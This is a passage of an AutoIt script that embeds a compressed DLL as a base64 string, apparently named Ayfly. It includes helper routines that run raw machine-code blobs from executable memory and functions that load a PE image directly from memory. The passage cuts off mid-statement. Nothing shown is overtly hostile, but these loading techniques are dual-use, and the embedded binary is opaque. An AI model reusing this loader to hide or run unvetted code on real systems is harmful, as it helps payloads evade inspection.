AFQnTQ4ODhQOFREOFhQaHQ4eNBwlAQ4mNBBtDi4ONAAONQ42DjwOPQAOPg4hDmMOZQAOaQ55DkAOgQAOgg6DDoQOhQAOhg6HDogOiQAOig6LDowOjQAOjg6PDpAOkQAOkg6TDpQOlQAOlg6XDpgOmREOmhwZnA6dNB6fAA6gDqEOog6jAA6kDqUOpg6nAQ6oHBvqDqsOrAAOrQ6uDq8OsACOhk93DrgOuQ6AOg67DrwOvQ6APg6/DoAOwQ7AAg7DDsQOxQ7ABg7HDsgOyQ7ACg7LDswOzQ7ADg7PDtAO0Q7gkhwdFA7VDtY0HQAYDtkO2g7bDsAcDt0O3g7fDsAgDuEO4g7jDsAkDuUO5g7nDuCoLCNqDusO7CQoQC4O7w7wDvEO4LIcIDQO9Q72JCiAOA75DvoO+w7IPA79Dv4sHkAPAAEPAg8DDwQPAAUPBg8HDwgPAAkPCg8LDwwPAA0PDg8PDxAPABEPEg8TDxQPABUPFg8XDxgPABkPGg8bDxwPAB0PHg8fDyAPACEPIg8jDyQPICUPJg8nDygEJ8AqDysPLA8tDwAuDy8PMA8xDwIyDzM8H/UPNg8CNw84FCq6DzsPALwcIj4PPw8AD0ABD0IPQw9ED0AFD0YPRw9ID0CJJC3LD0wPTQ9AjjUt0g9TD1QPQBUPVg9XD1gPQBkPWg9bD1wPQB0PXg9fD2APQiEPYgwnJA9lD0AmD2cPaA9pD2AqD2sPbA9tP66CNg93PB+5D3oPQDsPfA99D34Pfz8Pb9Nv02/Tb9Nv02/TYLYnE0AsAMAKHBNT3VJ9Uh1SPVHADLxeQwQMhAyFBB6HDIgADIkMigyLDIwEDI0MjgQe0AyRAAySDJMMlAyVEAyWDJcMmBwQmgAMmwycDJ0MniMMnwQtllDnDKgmkMAvDLAMsQyyDIKzDRE3JJ96DLsMoLwsn38MgAzBNJ9AbNFHDMgMyQzKIPwn1NGPDNAM0QQf4JM9EZcM2AzZHDEumyUR3y/R79HtkfY0EeA4DPkM+gz7FRIkPwzADQRtgw080gAHDQgNCQ0KDSCLJRJPDRANER+wghoNGzUSnw0gDQghDSINIx0S5w0gKA0pDSoNKwUTEGxxMQ0yDTMtEzcRDTgENfoNOxUTfwANAA1BDUINQwANRA1FDUYNRwANSA1JDUo' $sFileBin &= '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' Return _LzntDecompress ( BinaryCall_Base64Decode ( $sFileBin ) ) EndFunc ;==> AyflyDll() Func BinaryCall_Alloc ( $Code, $Padding = 0 ) Local $Length = BinaryLen ( $Code ) + $Padding Local $Ret = DllCall ( $_KERNEL32DLL, 'ptr', 'VirtualAlloc', 'ptr', 0, 'ulong_ptr', $Length, 'dword', 0x1000, 'dword', 0x40 ) If @Error Or Not $Ret[0] Then Return SetError ( 1, @Error, 0 ) If BinaryLen ( $Code ) Then Local $Buffer = DllStructCreate ( 'byte[' & $Length & ']', $Ret[0] ) DllStructSetData ( $Buffer, 1, $Code ) EndIf Return $Ret[0] EndFunc ;==> BinaryCall_Alloc() Func BinaryCall_Base64Decode ( $Src ) Static $CodeBase If Not $CodeBase Then $CodeBase = BinaryCall_Create ( '0x55B9FF00000089E531C05756E8F10000005381EC0C0100008B55088DBDF5FEFFFFF3A4E9C00000003B45140F8FC20000000FB65C0A028A9C1DF5FEFFFF889DF3FEFFFF0FB65C0A038A9C1DF5FEFFFF889DF2FEFFFF0FB65C0A018985E8FEFFFF0FB69C1DF5FEFFFF899DECFEFFFF0FB63C0A89DE83E630C1FE040FB6BC3DF5FEFFFFC1E70209FE8B7D1089F3881C074080BDF3FEFFFF63745C0FB6B5F3FEFFFF8BBDECFEFFFF8B9DE8FEFFFF89F083E03CC1E704C1F80209F88B7D1088441F0189D883C00280BDF2FEFFFF6374278A85F2FEFFFFC1E60683C10483E03F09F088441F0289D883C0033B4D0C0F8C37FFFFFFEB0231C081C40C0100005B5E5F5DC35EC3E8F9FFFFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000003E0000003F3435363738393A3B3C3D00000063000000000102030405060708090A0B0C0D0E0F101112131415161718190000000000001A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233', '', 132, True, False ) If Not $CodeBase Then Return SetError ( 1, 0, Binary ( '' ) ) EndIf $Src = String ( $Src ) Local $SrcLen = StringLen ( $Src ) Local $SrcBuf = DllStructCreate ( 'char[' & $SrcLen & ']' ) DllStructSetData ( $SrcBuf, 1, $Src ) Local $DstLen = Int ( ( $SrcLen + 2 ) / 4 ) * 3 + 1 Local $DstBuf = DllStructCreate ( 'byte[' & $DstLen & ']' ) Local $Ret = DllCallAddress ( 'uint:cdecl', $CodeBase, 'ptr', DllStructGetPtr ( $SrcBuf ), 'uint', $SrcLen, 'ptr', DllStructGetPtr ( $DstBuf ), 'uint', $DstLen ) If $Ret[0] = 0 Then Return SetError ( 2, 0, Binary ( '' ) ) Return BinaryMid ( DllStructGetData ( $DstBuf, 1 ), 1, $Ret[0] ) EndFunc ;==> BinaryCall_Base64Decode() Func BinaryCall_CodePrepare ( $Code ) If Not $Code Then Return '' If IsBinary ( $Code ) Then Return $Code $Code = String ( $Code ) If StringLeft ( $Code, 2 ) = '0x' Then Return Binary ( $Code ) If StringIsXDigit ( $Code ) Then Return Binary ( '0x' & $Code ) Return BinaryCall_LzmaDecompress ( BinaryCall_Base64Decode ( $Code ) ) EndFunc ;==> BinaryCall_CodePrepare() Func BinaryCall_Create ( $Code, $Reloc = '', $Padding = 0, $ReleaseOnExit = True, $LibraryImport = True ) Local $BinaryCode = BinaryCall_CodePrepare ( $Code ) If Not $BinaryCode Then Return SetError ( 1, BinaryCall_LastError ( 'Invalid code' ), 0 ) Local $BinaryCodeLen = BinaryLen ( $BinaryCode ) Local $TotalCodeLen = $BinaryCodeLen + $Padding Local $CodeBase = BinaryCall_Alloc ( $BinaryCode, $Padding ) If Not $CodeBase Then Return SetError ( 2, BinaryCall_LastError ( 'Unable to allocate memory block' ), 0 ) If $Reloc Then $Reloc = BinaryCall_CodePrepare ( $Reloc ) If Not $Reloc Then Return SetError ( 3, BinaryCall_LastError ( 'Invalid relocation table' ), 0 ) BinaryCall_Relocation ( $CodeBase, $Reloc ) EndIf If $LibraryImport Then If Not BinaryCall_ImportLibrary ( $CodeBase, $BinaryCodeLen ) Then BinaryCall_Free ( $CodeBase ) Return SetError ( 4, 0, 0 ) EndIf EndIf If $ReleaseOnExit Then BinaryCall_ReleaseOnExit ( $CodeBase ) EndIf Return SetError ( 0, $TotalCodeLen, $CodeBase ) EndFunc ;==> BinaryCall_Create() Func BinaryCall_DoRelease() BinaryCall_ReleaseOnExit_Handle() EndFunc ;==> BinaryCall_DoRelease() Func BinaryCall_Free ( $Ptr ) Local $Ret = DllCall ( $_KERNEL32DLL, 'bool', 'VirtualFree', 'ptr', $Ptr, 'ulong_ptr', 0, 'dword', 0x8000 ) If @Error Or $Ret[0] = 0 Then $Ret = DllCall ( $_KERNEL32DLL, 'bool', 'GlobalFree', 'ptr', $Ptr ) If @Error Or $Ret[0] <> 0 Then Return SetError ( 1, @Error, False ) EndIf Return True EndFunc ;==> BinaryCall_Free() Func BinaryCall_GetProcAddress ( $Module, $Proc ) Local $Ret = DllCall ( $_KERNEL32DLL, 'ptr', 'GetProcAddress', 'ptr', $Module, 'str', $Proc ) If @Error Or Not $Ret[0] Then Return SetError ( 1, @Error, 0 ) Return $Ret[0] EndFunc ;==> BinaryCall_GetProcAddress() Func BinaryCall_ImportLibrary ( $Base, $Length ) Static $HasMemoryDll = IsFunc(Execute ( '__MemoryModule_RuntimeLoader' ) ) Local $JmpBin, $JmpOff, $JmpLen, $DllName, $ProcName $JmpBin = Binary ( '0xB8FFFFFFFFFFE0' ) $JmpOff = 1 $JmpLen = BinaryLen ( $JmpBin ) Local $Ptr, $StringPtr, $StringLen, $String, $Split, $Proc, $Diff, $Handle Do $Ptr = BinaryCall_MemorySearch ( $Base, $Length, $JmpBin ) If $Ptr = 0 Then ExitLoop $StringPtr = $Ptr + $JmpLen $StringLen = BinaryCall_lstrlenA ( $StringPtr ) If Not $StringLen Then Return SetError ( 3, BinaryCall_LastError ( 'Invalid import table' ), False ) $String = DllStructGetData ( DllStructCreate ( 'char[' & $StringLen & ']', $StringPtr ), 1 ) $Split = StringSplit ( $String, '|' ) If $Split[0] = 1 Then $ProcName = $Split[1] ElseIf $Split[0] = 2 Then If $Split[1] Then $DllName = $Split[1] $ProcName = $Split[2] EndIf If $DllName And $ProcName Then $Proc = 0 $Handle = BinaryCall_LoadLibrary ( $DllName ) If Not $Handle Then Return SetError ( 1, BinaryCall_LastError ( 'LoadLibrary fail on ' & $DllName ), False ) $Proc = BinaryCall_GetProcAddress ( $Handle, $ProcName ) If Not $Proc Then Return SetError ( 2, BinaryCall_LastError ( 'GetProcAddress failed on ' & $ProcName ), False ) DllStructSetData(DllStructCreate ( 'ptr', $Ptr + $JmpOff ), 1, $Proc ) EndIf $Diff = Int ( $Ptr - $Base + $JmpLen + $StringLen + 1 ) $Base += $Diff $Length -= $Diff Until $Length <= $JmpLen Return True EndFunc ;==> BinaryCall_ImportLibrary() Func BinaryCall_IsBadReadPtr ( $Ptr, $Length ) Local $Ret = DllCall ( $_KERNEL32DLL, 'int', 'IsBadReadPtr', 'ptr', $Ptr, 'uint_ptr', $Length ) If @Error Then Return SetError ( 1, @Error, 0 ) Return $Ret[0] EndFunc ;==> BinaryCall_IsBadReadPtr() Func BinaryCall_LastError ( $Error = Default ) Static $LastError If IsKeyword ( $Error ) Then Return $LastError $LastError = $Error EndFunc ;==> BinaryCall_LastError() Func BinaryCall_LoadLibrary ( $Filename ) Local $Ret = DllCall ( $_KERNEL32DLL, 'handle', 'LoadLibraryW', 'wstr', $Filename ) If @Error Then Return SetError ( 1, @Error, 0 ) Return $Ret[0] EndFunc ;==> BinaryCall_LoadLibrary() Func BinaryCall_lstrlenA ( $Ptr ) Local $Ret = DllCall ( $_KERNEL32DLL, 'int', 'lstrlenA', 'ptr', $Ptr ) If @Error Then Return SetError ( 1, @Error, 0 ) Return $Ret[0] EndFunc ;==> BinaryCall_lstrlenA() Func BinaryCall_LzmaDecompress ( $Src ) Static $CodeBase If Not $CodeBase Then $CodeBase = BinaryCall_Create ( BinaryCall_Base64Decode ( 'VYnlVzH/VlOD7EyLXQiKC4D54A+HxQAAADHA6wWD6S2I0ID5LI1QAXfziEXmMcDrBYPpCYjQgPkIjVABd/OIReWLRRSITeSLUwkPtsmLcwWJEA+2ReUBwbgAAwAA0+CNhABwDgAAiQQk6EcEAACJNCSJRdToPAQAAItV1InHi0Xkhf+JArgBAAAAdDaF9nQyi0UQg8MNiRQkiXQkFIl8JBCJRCQYjUXgiUQkDItFDIlcJASD6A2JRCQI6CkAAACLVdSJRdSJFCToAQQAAItF1IXAdAqJPCQx/+jwAwAAg8RMifhbXl9dw1dWU1WJ5YtFJAFFKFD8i3UYAXUcVot1FK2SUopO/oPI/9Pg99BQiPGDyP/T4PfQUADRifeD7AwpwEBQUFBQUFcp9laDy/+4AAMAANPgjYg2BwAAuAAEAATR6fOragVZ6MoCAADi+Yt9/ItF8Ct9JCH4iUXosADoywIAAA+FhQAAAIpN9CN97NPngOkI9tnT7lgB916NPH/B5wg8B1qNjH5sDgAAUVa+AAEAAFCwAXI0i338K33cD7Y/i23M0eeJ8SH+AfGNbE0A6JgCAACJwcHuCIPhATnOvgABAAB1DjnwctfrDIttzOh5AgAAOfBy9FqD+gSJ0XIJg/oKsQNyArEGKcpS60mwwOhJAgAAdRRYX1pZWln/NCRRUrpkBgAAsQDrb7DM6CwCAAB1LLDw6BMCAAB1U1g8B7AJcgKwC1CLdfwrddw7dSQPgs8BAACsi338qumOAQAAsNjo9wEAAIt12HQbsOTo6wEAAIt11HQJi3XQi03UiU3Qi03YiU3Ui03ciU3YiXXcWF9ZumgKAACxCAH6Ulc8B4jIcgIEA1CLbczovAEAAHUUi0Xoi33MweADKclqCF6NfEcE6zWLbcyDxQLomwEAAHUYi0Xoi33MweADaghZaghejbxHBAEAAOsQvwQCAAADfcxqEFm+AAEAAIlN5CnAQIn96GYBAACJwSnxcvMBTeSDfcQED4OwAAAAg0XEB4tN5IP5BHIDagNZi33IweEGKcBAakBejbxPYAMAAIn96CoBAACJwSnxcvOJTeiJTdyD+QRyc4nOg2XcAdHug03cAk6D+Q5zGbivAgAAKciJ8dJl3ANF3NHgA0XIiUXM6y2D7gToowAAANHr0WXcOV3gcgb/RdwpXeBOdei4RAYAAANFyIlFzMFl3ARqBF4p/0eJ+IttzOi0AAAAqAF0Awl93NHnTnXs6wD/RdyLTeSDwQKLffyJ+CtFJDlF3HdIif4rddyLVSisqjnXcwNJdfeJffwPtvA7fSgPgnH9///oKAAAACnAjWwkPItVIIt1+Ct1GIkyi1Usi338K30kiTrJW15fw15YKcBA69qB+wAAAAFyAcPB4whWi3X4O3Ucc+SLReDB4AisiUXgiXX4XsOLTcQPtsDB4QQDRegByOsGD7bAA0XEi23IjWxFACnAjWxFAIH7AAAAAXMci0wkOMFkJCAIO0wkXHOcihH/RCQ4weMIiFQkIInZD7dVAMHpCw+vyjlMJCBzF4nLuQAIAAAp0cHpBWYBTQABwI1sJEDDweoFKUwkICnLZilVAAHAg8ABjWwkQMO4///////gbXN2Y3J0LmRsbHxtYWxsb2MAuP//////4GZyZWUA' ) ) If Not $CodeBase Then Return SetError ( 1, 0, Binary ( '' ) ) EndIf $Src = Binary ( $Src ) Local $SrcLen = BinaryLen ( $Src ) Local $SrcBuf = DllStructCreate ( 'byte[' & $SrcLen & ']' ) DllStructSetData ( $SrcBuf, 1, $Src ) Local $Ret = DllCallAddress ( 'ptr:cdecl', $CodeBase, 'ptr', DllStructGetPtr ( $SrcBuf ), 'uint_ptr', $SrcLen, 'uint_ptr*', 0, 'uint*', 0 ) If $Ret[0] Then Local $DstBuf = DllStructCreate ( 'byte[' & $Ret[3] & ']', $Ret[0] ) Local $Output = DllStructGetData ( $DstBuf, 1 ) DllCall ( $_BinaryCall_Msvcrtdll, 'none:cdecl', 'free', 'ptr', $Ret[0] ) Return $Output EndIf Return SetError(2, 0, Binary ( '' ) ) EndFunc ;==> BinaryCall_LzmaDecompress() Func BinaryCall_MemorySearch ( $Ptr, $Length, $Binary ) Static $CodeBase If Not $CodeBase Then $CodeBase = BinaryCall_Create ( '0x5589E58B4D14578B4508568B550C538B7D1085C9742139CA721B29CA8D341031D2EB054239CA740F8A1C17381C1074F34039F076EA31C05B5E5F5DC3', '', 0, True, False ) If Not $CodeBase Then Return SetError ( 1, 0, 0 ) EndIf $Binary = Binary ( $Binary ) Local $Buffer = DllStructCreate ( 'byte[' & BinaryLen ( $Binary ) & ']' ) DllStructSetData ( $Buffer, 1, $Binary ) Return DllCallAddress ( 'ptr:cdecl', $CodeBase, 'ptr', $Ptr, 'uint', $Length, 'ptr', DllStructGetPtr ( $Buffer ), 'uint', DllStructGetSize ( $Buffer ) )[0] EndFunc ;==> BinaryCall_MemorySearch() Func BinaryCall_RegionSize ( $Ptr ) Local $Buffer = DllStructCreate ( 'ptr;ptr;dword;uint_ptr;dword;dword;dword' ) Local $Ret = DllCall ( $_KERNEL32DLL, 'int', 'VirtualQuery', 'ptr', $Ptr, 'ptr', DllStructGetPtr ( $Buffer ), 'uint_ptr', DllStructGetSize ( $Buffer ) ) If @Error Or $Ret[0] = 0 Then Return SetError ( 1, @Error, 0 ) Return DllStructGetData ( $Buffer, 4 ) EndFunc ;==> BinaryCall_RegionSize() Func BinaryCall_ReleaseOnExit ( $Ptr ) OnAutoItExitRegister ( 'BinaryCall_DoRelease' ) BinaryCall_ReleaseOnExit_Handle ( $Ptr ) EndFunc ;==> BinaryCall_ReleaseOnExit() Func BinaryCall_ReleaseOnExit_Handle ( $Ptr = Default ) Static $PtrList If @NumParams = 0 Then If IsArray ( $PtrList ) Then For $i = 1 To $PtrList[0] BinaryCall_Free ( $PtrList[$i] ) Next EndIf Else If Not IsArray($PtrList) Then Local $InitArray[1] = [0] $PtrList = $InitArray EndIf If IsPtr($Ptr) Then Local $Array = $PtrList Local $Size = UBound ( $Array ) ReDim $Array[$Size + 1] $Array[$Size] = $Ptr $Array[0] += 1 $PtrList = $Array EndIf EndIf EndFunc ;==> BinaryCall_ReleaseOnExit_Handle() Func BinaryCall_Relocation ( $Base, $Reloc ) Local $Size = Int ( BinaryMid ( $Reloc, 1, 2 ) ) Local $Offset, $Ptr For $i = 3 To BinaryLen ( $Reloc ) Step $Size $Offset = Int(BinaryMid ( $Reloc, $i, $Size ) ) $Ptr = $Base + $Offset DllStructSetData ( DllStructCreate ( 'ptr', $Ptr ), 1, DllStructGetData ( DllStructCreate ( 'ptr', $Ptr ), 1 ) + $Base ) Next EndFunc ;==> BinaryCall_Relocation() Func BinaryCall_SymbolFind ( $CodeBase, $Identify, $Length, $BeforeJump = False ) Local $Ptr $Identify = Binary ( $Identify ) If BinaryCall_IsBadReadPtr ( $CodeBase, $Length ) Then Return SetError ( 2, 0, 0 ) If $BeforeJump Then $Ptr = BinaryCall_MemorySearch ( $CodeBase, $Length, $Identify & Binary ( '0xE9' ) ) If $Ptr Then Return $Ptr + BinaryLen ( $Identify ) $Ptr = BinaryCall_MemorySearch ( $CodeBase, $Length, $Identify & Binary ( '0xEB' ) ) If $Ptr Then Return $Ptr + BinaryLen ( $Identify ) Else $Ptr = BinaryCall_MemorySearch ( $CodeBase, $Length, $Identify ) If $Ptr Then Return $Ptr + BinaryLen ( $Identify ) EndIf Return SetError ( 1, 0, 0 ) EndFunc ;==> BinaryCall_SymbolFind() Func BinaryCall_SymbolList ( $CodeBase, $Symbol ) If UBound ( $Symbol, 0 ) <> 1 Then Return SetError ( 1, BinaryCall_LastError ( 'Invalid symbol array' ), 0 ) Local $Tag = '' For $i = 0 To UBound ( $Symbol ) - 1 $Tag &= 'ptr ' & $Symbol[$i] & ';' Next Local $SymbolList = DllStructCreate ( $Tag ) If @Error Then Return SetError(1, BinaryCall_LastError ( 'Invalid symbol' ), 0 ) Local $Length = BinaryCall_RegionSize ( $CodeBase ) If @Error Or Not $Length Then Return SetError ( 1, BinaryCall_LastError ( 'Invalid codebase' ), 0 ) Local $Locate For $i = 0 To UBound ( $Symbol ) - 1 $Locate = BinaryCall_SymbolFind ( $CodeBase, $Symbol[$i], $Length, True ) If @Error Then Return SetError(1, BinaryCall_LastError ( "Unable to find symbol: '" & $Symbol[$i] & "'" ), 0 ) DllStructSetData ( $SymbolList, $Symbol[$i], $Locate ) $Length -= $Locate - $CodeBase $CodeBase = $Locate Next Return $SymbolList EndFunc ;==> BinaryCall_SymbolList() Func LzntDecompress ( $bBinary ); by trancexx $bBinary = Binary ( $bBinary ) Local $tInput = DllStructCreate ( 'byte[' & BinaryLen ( $bBinary ) & ']' ) DllStructSetData ( $tInput, 1, $bBinary ) Local $tBuffer = DllStructCreate ( 'byte[' & 16*DllStructGetSize ( $tInput ) & ']' ) Local $a_Call = DllCall ( 'ntdll.dll', 'int', 'RtlDecompressBuffer', 'ushort', 2, 'ptr', DllStructGetPtr ( $tBuffer ), 'dword', DllStructGetSize ( $tBuffer ), 'ptr', DllStructGetPtr ( $tInput ), 'dword', DllStructGetSize ( $tInput ), 'dword*', 0 ) If @error Or $a_Call[0] Then Return SetError ( 1, 0, '' ) Local $tOutput = DllStructCreate ( 'byte[' & $a_Call[6] & ']', DllStructGetPtr ( $tBuffer ) ) Return SetError ( 0, 0, DllStructGetData ( $tOutput, 1 ) ) EndFunc ;==> LzntDecompress() Func MemLib_BuildImportTable ( $CodeBase, $PEHeader ) Local Const $IMAGE_DIRECTORY_ENTRY_IMPORT = 1 Local Const $SizeOfPtr = DllStructGetSize ( DllStructCreate ( 'ptr', 1 ) ) Local $IMAGE_NT_HEADER = DllStructCreate ( $tagIMAGE_NT_HEADER, $PEHeader ) Local $SizeOfDataDirectory = DllStructGetSize ( DllStructCreate ( $tagIMAGE_DATA_DIRECTORY ) ) Local $ImportDirectoryPtr = $PEHeader + DllStructGetSize ( $IMAGE_NT_HEADER ) + $IMAGE_DIRECTORY_ENTRY_IMPORT * $SizeOfDataDirectory Local $ImportDirectory = DllStructCreate ( $tagIMAGE_DATA_DIRECTORY, $ImportDirectoryPtr ) Local $ImportSize = DllStructGetData ( $ImportDirectory, 'Size' ) Local $ImportVirtualAddress = DllStructGetData ( $ImportDirectory, 'VirtualAddress' ) Local $SizeOfImportDir = DllStructGetSize ( DllStructCreate ( $tagIMAGE_IMPORT_DESCRIPTOR ) ) Local $ImportList = '' If $ImportSize > 0 Then Local $ImportDescPtr = $CodeBase + $ImportVirtualAddress While 1 If API_IsBadReadPtr ( $ImportDescPtr, $SizeOfImportDir ) Then ExitLoop Local $ImportDesc = DllStructCreate ( $tagIMAGE_IMPORT_DESCRIPTOR, $ImportDescPtr ) Local $NameOffset = DllStructGetData ( $ImportDesc, 'Name' ) If $NameOffset = 0 Then ExitLoop Local $Name = Peek ( 'str', $CodeBase + $NameOffset ) Local $OriginalFirstThunk = DllStructGetData ( $ImportDesc, 'OriginalFirstThunk' ) Local $FirstThunk = DllStructGetData ( $ImportDesc, 'FirstThunk' ) Local $Handle = API_LoadLibrary ( $Name ) If $Handle Then $ImportList &= $Handle & ',' Local $FuncRef = $CodeBase + $FirstThunk Local $ThunkRef = $CodeBase + $OriginalFirstThunk If $OriginalFirstThunk = 0 Then $ThunkRef = $FuncRef While 1 Local $Ref = Peek ( 'ptr', $ThunkRef ) If $Ref = 0 Then ExitLoop If BitAND ( Peek ( 'byte', $ThunkRef + $SizeOfPtr - 1 ), 0x80 ) Then Local $Ptr = API_GetProcAddress ( $Handle, BitAND ( $Ref, 0xffff ) ) Else Local $IMAGE_IMPORT_BY_NAME = DllStructCreate ( $tagIMAGE_IMPORT_BY_NAME, $CodeBase + $Ref ) Local $NamePtr = DllStructGetPtr ( $IMAGE_IMPORT_BY_NAME, 2 ) Local $FuncName = Peek ( 'str', $NamePtr ) Local $Ptr = API_GetProcAddress ( $Handle, $FuncName ) EndIf If $Ptr = 0 Then Return SetError ( 1, 0, False ) Poke ( 'ptr', $FuncRef, $Ptr ) $ThunkRef += $SizeOfPtr $FuncRef += $SizeOfPtr WEnd Else Return SetError ( 1, 0, False ) EndIf $ImportDescPtr += $SizeOfImportDir WEnd EndIf Return $ImportList EndFunc ;==> MemLib_BuildImportTable() Func MemLib_CopySections ( $CodeBase, $PEHeader, $DllDataPtr ) Local $IMAGE_NT_HEADER = DllStructCreate ( $tagIMAGE_NT_HEADER, $PEHeader ) Local $SizeOfFileHeader = DllStructGetPtr ( $IMAGE_NT_HEADER, 'Magic' ) - $PEHeader Local $SizeOfOptionalHeader = DllStructGetData ( $IMAGE_NT_HEADER, 'SizeOfOptionalHeader' ) Local $NumberOfSections = DllStructGetData ( $IMAGE_NT_HEADER, 'NumberOfSections' ) Local $SectionAlignment = DllStructGetData ( $IMAGE_NT_HEADER, 'SectionAlignment' ) Local $SectionPtr = $PEHeader + $SizeOfFileHeader + $SizeOfOptionalHeader For $i = 1 To $NumberOfSections Local $Section = DllStructCreate ( $tagIMAGE_SECTION_HEADER, $SectionPtr ) Local $VirtualAddress = DllStructGetData ( $Section, 'VirtualAddress' ) Local $SizeOfRawData = DllStructGetData ( $Section, 'SizeOfRawData' ) Local $PointerToRawData = DllStructGetData ( $Section, 'PointerToRawData' ) If $SizeOfRawData = 0 Then Local $Dest = _MemVirtualAlloc ( $CodeBase + $VirtualAddress, $SectionAlignment, $MEM_COMMIT, $PAGE_READWRITE ) API_ZeroMemory ( $Dest, $SectionAlignment ) Else Local $Dest = _MemVirtualAlloc ( $CodeBase + $VirtualAddress, $SizeOfRawData, $MEM_COMMIT, $PAGE_READWRITE ) _MemMoveMemory ( $DllDataPtr + $PointerToRawData, $Dest, $SizeOfRawData ) EndIf DllStructSetData ( $Section, 'VirtualSize', $Dest - $CodeBase ) $SectionPtr += DllStructGetSize ( $Section ) Next EndFunc ;==> MemLib_CopySections() Func MemLib_FinalizeSections ( $CodeBase, $PEHeader ) Local Const $IMAGE_SCN_MEM_EXECUTE = 0x20000000 Local Const $IMAGE_SCN_MEM_READ = 0x40000000 Local Const $IMAGE_SCN_MEM_WRITE = 0x80000000 Local Const $IMAGE_SCN_MEM_NOT_CACHED = 0x4000000 Local Const $IMAGE_SCN_CNT_INITIALIZED_DATA = 64 Local Const $IMAGE_SCN_CNT_UNINITIALIZED_DATA = 128 Local Const $PAGE_WRITECOPY = 0x0008 Local Const $PAGE_EXECUTE_WRITECOPY = 0x0080 Local $IMAGE_NT_HEADER = DllStructCreate ( $tagIMAGE_NT_HEADER, $PEHeader ) Local $SizeOfFileHeader = DllStructGetPtr ( $IMAGE_NT_HEADER, 'Magic' ) - $PEHeader Local $SizeOfOptionalHeader = DllStructGetData ( $IMAGE_NT_HEADER, 'SizeOfOptionalHeader' ) Local $NumberOfSections = DllStructGetData ( $IMAGE_NT_HEADER, 'NumberOfSections' ) Local $SectionAlignment = DllStructGetData ( $IMAGE_NT_HEADER, 'SectionAlignment' ) Local $SectionPtr = $PEHeader + $SizeOfFileHeader + $SizeOfOptionalHeader For $i = 1 To $NumberOfSections Local $Section = DllStructCreate ( $tagIMAGE_SECTION_HEADER, $SectionPtr ) Local $Characteristics = DllStructGetData ( $Section, 'Characteristics' ) Local $SizeOfRawData = DllStructGetData ( $Section, 'SizeOfRawData' ) Local $Executable = ( BitAND ( $Characteristics, $IMAGE_SCN_MEM_EXECUTE ) <> 0 ) Local $Readable = ( BitAND ( $Characteristics, $IMAGE_SCN_MEM_READ ) <> 0 ) Local $Writeable = ( BitAND 